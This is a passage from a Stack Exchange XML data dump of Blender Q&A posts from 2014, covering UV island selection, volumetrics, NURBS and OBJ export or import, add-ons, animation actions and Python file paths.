ContentLicense="CC BY-SA 3.0" />
  <row Id="16187" PostTypeId="2" ParentId="16184" CreationDate="2014-09-26T01:44:18.320" Score="12" Body="&lt;h2&gt;Update, UV islands in Vert/Edge/Face modes &lt;a href=&quot;https://developer.blender.org/rB3aa4a0e787993ddecaff30f36c502af20250837e&quot; rel=&quot;noreferrer&quot;&gt;has been added&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the operator options, enable UV as a delimiter to select UV islands:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select a vertex/edge/face.&lt;/li&gt;&#xA;&lt;li&gt;Press Ctrl+LKey.&lt;/li&gt;&#xA;&lt;li&gt;Enable UV option in toolbar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Previous answer (Versions 2.74 or older)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Select linked can delimit by seams, but this only works in face-select mode &lt;strong&gt;*&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switch to face select mode&lt;/li&gt;&#xA;&lt;li&gt;Press LKey over the region, the selection will be restricted to the seams.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you don't have seams around the UV island, you can automatically create them.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Image Window, UV -&gt; Seams from Islands&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; - &lt;em&gt;this is intentional, select-linked traverses only &lt;strong&gt;faces&lt;/strong&gt; in face-select mode, and &lt;strong&gt;edges&lt;/strong&gt; in vert/edge mode.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-16T02:42:35.897" LastActivityDate="2015-05-16T02:42:35.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16188" PostTypeId="1" AcceptedAnswerId="16189" CreationDate="2014-09-26T02:19:36.577" Score="4" ViewCount="565" Body="&lt;p&gt;Hi I'm trying to make a character that looks like he's made of mist or smoke in Cycles. The Volume absorption works pretty much as I'd hoped.&lt;br&gt;&#xA;But once the character is posed, any little mesh intersection shows up as a 'hole' in the volumetrics.&lt;br&gt;&#xA;Does anyone know a possible solution or is this just a limitation of volumetrics at the moment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The armpits and elbow here are an example.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Go4DS.png&quot; alt=&quot;See armpits and elbow here for example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6207" LastEditorUserId="2217" LastEditDate="2014-09-26T13:44:02.820" LastActivityDate="2014-09-27T12:06:06.887" Title="Cycles volumetric object with intersecting mesh" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;volumetrics&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16189" PostTypeId="2" ParentId="16188" CreationDate="2014-09-26T06:41:50.077" Score="5" Body="&lt;p&gt;Maybe try &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Remesh&quot; rel=&quot;noreferrer&quot;&gt;Remesh&lt;/a&gt; modifier on top of your mesh? Just move it to the bottom of your modifier stack and do not apply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may expect different visual bugs and shape degradation, however for volumes it could work.&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2014-09-26T06:41:50.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16190" PostTypeId="1" AcceptedAnswerId="16191" CreationDate="2014-09-26T10:25:39.877" Score="4" ViewCount="1857" Body="&lt;p&gt;30 minutes ago, I launched &lt;code&gt;blender&lt;/code&gt; for the first time. I'm rather overwhelmed by the options, so I dare to ask this novice question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to export the control points of a NURBS into a text file. If possible I'd prefer homogeneous coordinates.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For the start, I have created a path and modified it to look like a quadratic Bezier curve.&lt;/li&gt;&#xA;&lt;li&gt;I've exported to different formats, but didn't find NURBS data in them (e.g. &lt;code&gt;dae&lt;/code&gt; file contains lamp and camera, &lt;code&gt;obj&lt;/code&gt; contains coordinates of the curve).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I obtain the control points and knot vector?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://gist.github.com/5263/2376960&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, but I'm not sure how to use it and if it could be helpful.&lt;/p&gt;&#xA;" OwnerUserId="6209" LastActivityDate="2014-09-26T15:08:15.043" Title="Export/list the control points of a NURBS" Tags="&lt;export&gt;&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16191" PostTypeId="2" ParentId="16190" CreationDate="2014-09-26T10:40:02.680" Score="3" Body="&lt;p&gt;OBJ Format supports nurbs, but Blender writes them as edges by default (since many applications don't support them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File -&gt; Export -&gt; Wavefront OBJ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the options, enable &lt;strong&gt;Write Nurbs&lt;/strong&gt;. This currently only supports Nurbs splines (not surfaces).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If for some reason you need to access different kinds of curve data, writing nurbs to a text file from Python isn't all that complicated.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-09-26T15:08:15.043" LastActivityDate="2014-09-26T15:08:15.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16192" PostTypeId="1" CreationDate="2014-09-26T13:13:56.570" Score="3" ViewCount="5883" Body="&lt;p&gt;I'm trying to work with blender and having a hard time with this program. I would like to import a obj-file as quoted in the title but have finally only managed to see it at least somewhere on my screen. What steps do I need to take to import obj-files properly?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This ist what I see after import. I have marked the file in the object list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qLDu2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I see when I go to View &gt; View selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXFac.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be to small?&lt;/p&gt;&#xA;" OwnerUserId="6211" LastEditorUserId="12" LastEditDate="2014-09-30T01:33:47.593" LastActivityDate="2014-09-30T15:49:38.703" Title="Importing OBJ File to the center with correct orientation" Tags="&lt;import&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16193" PostTypeId="2" ParentId="16192" CreationDate="2014-09-26T13:39:26.810" Score="1" Body="&lt;p&gt;First move the cursor to the center with &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;C&lt;/kbd&gt;, or &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to Center&lt;/em&gt;, or In the 3D view header &lt;em&gt;Object &gt; Snap &gt; Cursor to Center&lt;/em&gt;. Then import the obj file. All added objects go to the cursor's location. To rotate the imported object select it with &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; then press &lt;kbd&gt;R&lt;/kbd&gt;. To constrain the rotation to only a certain axis press either X Y or Z while you are still rotating.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.187" LastActivityDate="2014-09-26T13:39:26.810" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16194" PostTypeId="1" CreationDate="2014-09-26T14:21:34.183" Score="2" ViewCount="189" Body="&lt;p&gt;I'm trying to make a realistic render, but I'm having some troubles with lights and reflections&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zI4rY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;In this scene I have three lights around the object, the trouble is in the corners. I can't find why the reflection is not uniform across both parts of the meshes.&#xA;Is the same object with two meshes, the entire object has the same material and I'm using the Blender Render (not cycles) and ambient occlusion. (Also applied &quot;smooth&quot; to the lateral faces)&lt;/p&gt;&#xA;" OwnerUserId="6212" LastEditorUserId="6212" LastEditDate="2014-09-26T14:37:03.630" LastActivityDate="2014-09-26T14:37:03.630" Title="Strange light artifact" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-09-27T19:37:07.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="16195" PostTypeId="2" ParentId="16192" CreationDate="2014-09-26T14:44:52.273" Score="3" Body="&lt;p&gt;If the object is already in the scene, select it. In the 3D viewport, open the transform panel (little cross on the right). You will see the location. Click on X, Y and Z and change their values to 0, this should put the object at the center of the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture where you can see which fields you need to change. You can then change the Rotation to give it the desired orientation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xGqpk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the orientation, you can also choose it when you import the OBJ file. When you do File -&gt; Import -&gt; Wavefront, you will be given the choice for the forward and up axes of the object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X6gEP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2014-09-26T14:44:52.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16197" PostTypeId="1" CreationDate="2014-09-26T17:01:35.967" Score="6" ViewCount="2246" Body="&lt;p&gt;I want to incorporate in my Blender interface (in my addon) a text box that allows you to write notes on several lines (as in the text editor script). Currently, what I find in Blender are text boxes on one line!&lt;/p&gt;&#xA;" OwnerUserId="6214" LastEditorUserId="2217" LastEditDate="2014-09-26T18:18:02.203" LastActivityDate="2020-03-15T22:45:09.517" Title="UI: Text box with multiple lines" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16199" PostTypeId="1" AcceptedAnswerId="16201" CreationDate="2014-09-26T17:36:06.030" Score="2" ViewCount="4258" Body="&lt;p&gt;I've gone through tutorials and get the UV Mapping to work when testing on a simple block. However, when trying this on a bigger model, the UV Mapping won't display in the UV/Image_Editor. The Eiffel Tower model is all one mesh and I select Smart UV Project. Any suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VMwIP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XKIJ7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3463" LastActivityDate="2014-09-26T17:46:35.623" Title="UV Mapping Doesn't Display in UV/Image_Editor" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-09-27T14:53:12.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="16200" PostTypeId="1" CreationDate="2014-09-26T17:44:16.070" Score="2" ViewCount="216" Body="&lt;p&gt;I'm not sure how to use physics to make a mesh move on top of another, lets say a ball rolling on an uneven surface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to keyframe the moving object from point A to point B on the X and Y coordinates, but to have it follow the uneven surface of the Z axis.&lt;/p&gt;&#xA;" OwnerUserId="6217" LastEditorUserId="2217" LastEditDate="2014-09-26T18:17:16.180" LastActivityDate="2014-09-26T19:37:41.497" Title="Physics: mesh moving on top of of another" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16201" PostTypeId="2" ParentId="16199" CreationDate="2014-09-26T17:46:35.623" Score="3" Body="&lt;p&gt;That is because at the bottom of the image editor, you are viewing the &lt;em&gt;render result&lt;/em&gt;.  Click the X to the right of the image selection box or select another image and you should be able to see the unwrapped pelt.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-09-26T17:46:35.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16202" PostTypeId="1" CreationDate="2014-09-26T17:46:42.060" Score="4" ViewCount="219" Body="&lt;p&gt;Goal: Create a animation of the gradient pressure map on the top of a seat as the user sits down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried: Dynamic painting works well, but I can't figure out how to get the gradient colors along the borders of the paint similar to the surface type:&quot;weight&quot; setting in dynamic painting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be perfect if I could figure out how to create a series of images that look like the vertex weight paint mode with surface type:&quot;weight&quot; setting in dynamic painting to use as a diffuse shader. &lt;/p&gt;&#xA;" OwnerUserId="6216" LastActivityDate="2014-09-26T20:59:26.357" Title="How can I create a diffuse map that looks and reacts like a Vertex Weight map?" Tags="&lt;weight-painting&gt;&lt;dynamic-paint&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16203" PostTypeId="2" ParentId="16200" CreationDate="2014-09-26T18:23:17.390" Score="2" Body="&lt;p&gt;If you really do not need the Physics simulation, you could use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Relationship/Shrinkwrap&quot; rel=&quot;nofollow&quot;&gt;Shrinkwrap&lt;/a&gt; constraint. To use a shrink wrap constraint, Add an empty, then  parent the empty to the ball (&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt;). Then add a Shrinkwrap constraint to the empty. Set the Shrinkwrap &lt;em&gt;Target&lt;/em&gt; to the ground. For your case, you could set the &lt;em&gt;Shrinkwrap Type&lt;/em&gt; to &lt;em&gt;Project&lt;/em&gt;, then set it to &lt;em&gt;-Z&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Keyframe your ball. Set the ball as a active rigid body (&lt;em&gt;Add Active&lt;/em&gt;), in the &lt;em&gt;Physics&lt;/em&gt; tab of the &lt;em&gt;Tool Shelf&lt;/em&gt;. Then on your ground plane set it to a passive rigid body(&lt;em&gt;Add Passive&lt;/em&gt;) in the &lt;em&gt;Physics&lt;/em&gt; tab of the &lt;em&gt;Tool Shelf&lt;/em&gt;. Play the animation from the beginning &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Left arrow&lt;/kbd&gt;to jump to the beginning, and &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; to play.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-09-26T18:44:00.507" LastActivityDate="2014-09-26T18:44:00.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16204" PostTypeId="1" AcceptedAnswerId="16205" CreationDate="2014-09-26T18:27:23.117" Score="14" ViewCount="7681" Body="&lt;p&gt;It would appear that www.BSurfaces.info the web site for the retopologizing tool has gone down and was gobbled up by a dentistry practice. Where is the project living now? Has someone put the code on Github? I can't seem to find it.&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2015-11-22T00:59:37.353" Title="Where is the BSurfaces project living now?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16205" PostTypeId="2" ParentId="16204" CreationDate="2014-09-26T18:54:40.820" Score="15" Body="&lt;p&gt;Even though the site is gone we still have the addon. In fact it comes with the default blender. Just search in the addons for &lt;em&gt;bsurfaces&lt;/em&gt;. Or if you are looking for the code go to the addon folder in the blender directory &lt;code&gt;2.71\scripts\addons\mesh_bsurfaces.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still a few places to get info about Bsurfaces.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Bsurfaces_1.5&quot; rel=&quot;noreferrer&quot;&gt;blender wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?225190-Bsurfaces-v1-5&quot; rel=&quot;noreferrer&quot;&gt;Blenderartists&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A great &lt;a href=&quot;https://app.box.com/s/5ygw6vkzxkag9dh53uuv&quot; rel=&quot;noreferrer&quot;&gt;PDF&lt;/a&gt; linked from the blender wiki&lt;/li&gt;&#xA;&lt;li&gt;A few videos from the creator of Bsurfaces on &lt;a href=&quot;http://vimeo.com/user572057/videos&quot; rel=&quot;noreferrer&quot;&gt;vimeo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Blender cookie tutorial on BSurfaces &lt;a href=&quot;https://vimeo.com/27353774&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T00:59:37.353" LastActivityDate="2015-11-22T00:59:37.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16207" PostTypeId="2" ParentId="16202" CreationDate="2014-09-26T20:33:28.617" Score="3" Body="&lt;p&gt;You have two options:&lt;/p&gt;&#xA;&lt;h1&gt;Image sequence&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the &lt;em&gt;canvas&lt;/em&gt; object selected, set the format to &lt;em&gt;image&lt;/em&gt;, then set the UV map and output path/format:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wUZOs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake the image sequence, then load it into your material with an image node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z0QAz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/EssentialUnselfishGrosbeak&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/EssentialUnselfishGrosbeak.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Vertex paint:&lt;/h1&gt;&#xA;&lt;p&gt;You can also bake to vertex colors and use a node setup like this, using an attribute node to get the vertex color:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yxryu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-26T20:59:26.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16209" PostTypeId="1" CreationDate="2014-09-26T20:51:50.013" Score="3" ViewCount="2031" Body="&lt;p&gt;I have used blender for years (modeling/texturing), I know how to rig, but I never needed to animate anything. In the past I sometimes move bones (mostly for fun) but I don't know how to deal if &lt;strong&gt;I want to make different animations with the same character&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as first task, I want to make my character walking, running and waving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using blender 2.71 on linux)&lt;/p&gt;&#xA;" OwnerUserId="6220" LastEditorUserId="6220" LastEditDate="2014-09-27T00:05:28.197" LastActivityDate="2014-09-27T10:42:57.857" Title="Multiple animation on one rigged character" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16210" PostTypeId="2" ParentId="16197" CreationDate="2014-09-26T22:52:29.833" Score="3" Body="&lt;p&gt;As far as i understand there is currently no way to have multiline text boxes. However there is a solution in work which will allow multi line tool tips:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/D622&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/D622&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the comments i think that this patch will also allow multiline text boxes as a side effect.&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-26T22:52:29.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16211" PostTypeId="2" ParentId="16209" CreationDate="2014-09-26T23:07:46.920" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://www.makehuman.org/&quot; rel=&quot;nofollow&quot;&gt;Makehuman&lt;/a&gt; project exports to Collada and to Blender exchange (mhx). It can also rig your models for &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Rigging/Rigify&quot; rel=&quot;nofollow&quot;&gt;Rigify&lt;/a&gt; in Blender. Making any exported Makehuman model move convincingly (walk, run, etc.) in blender is as simple as downloading a BVH &lt;a href=&quot;http://accad.osu.edu/research/mocap/mocap_data.htm&quot; rel=&quot;nofollow&quot;&gt;motion capture file&lt;/a&gt; and associating it with the rig using the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/Motion_Capture_Tools&quot; rel=&quot;nofollow&quot;&gt;Motion Capture Addon&lt;/a&gt; and &lt;a href=&quot;http://www.makehuman.org/doc/node/mhblendertools_makewalk_basic_workflow.html&quot; rel=&quot;nofollow&quot;&gt;MakeWalk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorUserId="621" LastEditDate="2014-09-26T23:45:12.077" LastActivityDate="2014-09-26T23:45:12.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16212" PostTypeId="1" AcceptedAnswerId="16213" CreationDate="2014-09-27T06:37:19.700" Score="3" ViewCount="2758" Body="&lt;p&gt;I'm trying to create a folder using python in blender and run in in blender text editor. I don't know how I can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to export the vertices of a mesh in this specific created folder. Currently I'm doing this which create the file in the blender folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fout = open(&quot;mesh.verts&quot;, &quot;w&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2517" LastActivityDate="2014-09-27T11:18:39.103" Title="create a folder in a specific path using Blender python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16213" PostTypeId="2" ParentId="16212" CreationDate="2014-09-27T06:48:40.477" Score="2" Body="&lt;p&gt;I figured it out using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;os.mkdir('')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2517" LastActivityDate="2014-09-27T06:48:40.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16216" PostTypeId="1" CreationDate="2014-09-27T07:00:39.097" Score="1" ViewCount="1509" Body="&lt;p&gt;According to following blog post, Blender Cycle path-tracing renderer is allowed (in fact encouraged) to be used in third party application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.blender.org/index.php/2013/08/cycles-render-engine-released-with-permissive-license/&quot; rel=&quot;nofollow&quot;&gt;http://code.blender.org/index.php/2013/08/cycles-render-engine-released-with-permissive-license/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We really want to integrate Cycle in our application. But I don't know how to start and how will it work. I tried to find but I didn't find any relevant documentation. Is there Scene Description Language like PovRay has ? Or instead does it accept scene info in format like OBJ ? I mean how does it work ?  &lt;/p&gt;&#xA;" OwnerUserId="6226" LastEditorUserId="2217" LastEditDate="2014-09-27T13:08:43.040" LastActivityDate="2014-09-27T13:08:43.040" Title="How do we integrate cycle renderer with our own app?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16217" PostTypeId="1" CreationDate="2014-09-27T10:14:50.347" Score="5" ViewCount="6762" Body="&lt;p&gt;When I made changes to my model in EDIT Mode, then swap into either Pose or Object mode, or simply click off the model. My changes go away, but when I click back on the model and go into Edit mode, the changes I made are still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make my changes visible outside of edit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object is a mesh model imported from MakeHuman as an MHX file. I have been using this file type in blender the last few days and this issue has only recently arisen, with a new file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am VERY new to Blender and don't know much jargon so if you can please dumb down any solutions I would be massively appreciative!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not editing the weight painting, as I am in edit mode. I am editing the actual mesh, pulling and pushing vertices, sculpting etc.&lt;/p&gt;&#xA;" OwnerUserId="6228" LastEditorUserId="2217" LastEditDate="2014-09-27T14:29:52.947" LastActivityDate="2014-09-27T14:29:52.947" Title="Edit Mode Changes not showing up in Object Mode" Tags="&lt;modeling&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16219" PostTypeId="2" ParentId="16209" CreationDate="2014-09-27T10:42:57.857" Score="2" Body="&lt;p&gt;You use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet/Action&quot; rel=&quot;nofollow&quot;&gt;action editor&lt;/a&gt; (a sub part of the dopesheet) to create multiple actions. An object can have one action associated with it at a time so remember to add a fake user to keep other actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have setup multiple actions you use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot; rel=&quot;nofollow&quot;&gt;NLA editor&lt;/a&gt; to combine and repeat a mixture of actions for the final animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to use multiple blend files with linked copies of your character that each contain one animation for a shot. After each shot is rendered out you edit them together into the final video.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-27T10:42:57.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16220" PostTypeId="2" ParentId="16212" CreationDate="2014-09-27T10:58:52.487" Score="8" Body="&lt;p&gt;You have following options. I use the file name &lt;em&gt;myfile.xxx&lt;/em&gt; as placeholder for whatever file shall be opened.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Open within the folder where blender is installed:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    fout = open(&quot;myfile.xxx&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However you might run into permission issues when the installation folder is write protected.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Open in the user Application folder (Appdata)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy&#xA;    import os&#xA;    userdir = bpy.utils.resource_path('USER') # see note&#xA;    mypath  = os.path.join(userdir,&quot;myfile.xxx&quot;)&#xA;&#xA;    fout    = open(mypath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Please check also bpy.utils.user_resource(...)&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Open in the same folder where the current blend file is located&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy&#xA;    import os&#xA;    blenddir = py.path.abspath('//')&#xA;    mypath   = os.path.join(userdir, &quot;myfile.xxx&quot;)&#xA;&#xA;    fout     = open(mypath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If the current session has not yet been saved to a blend file, then blenddir is returned as empty string! You might need to test for this in your script.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Open in addon folder&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy&#xA;    import os&#xA;    import myaddon&#xA;    myhome = os.path.dirname(myaddon.__file__)&#xA;    mypath = os.path.join(myhome, &quot;myfile.xxx&quot;)&#xA;&#xA;    fout     = open(mypath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; When you have 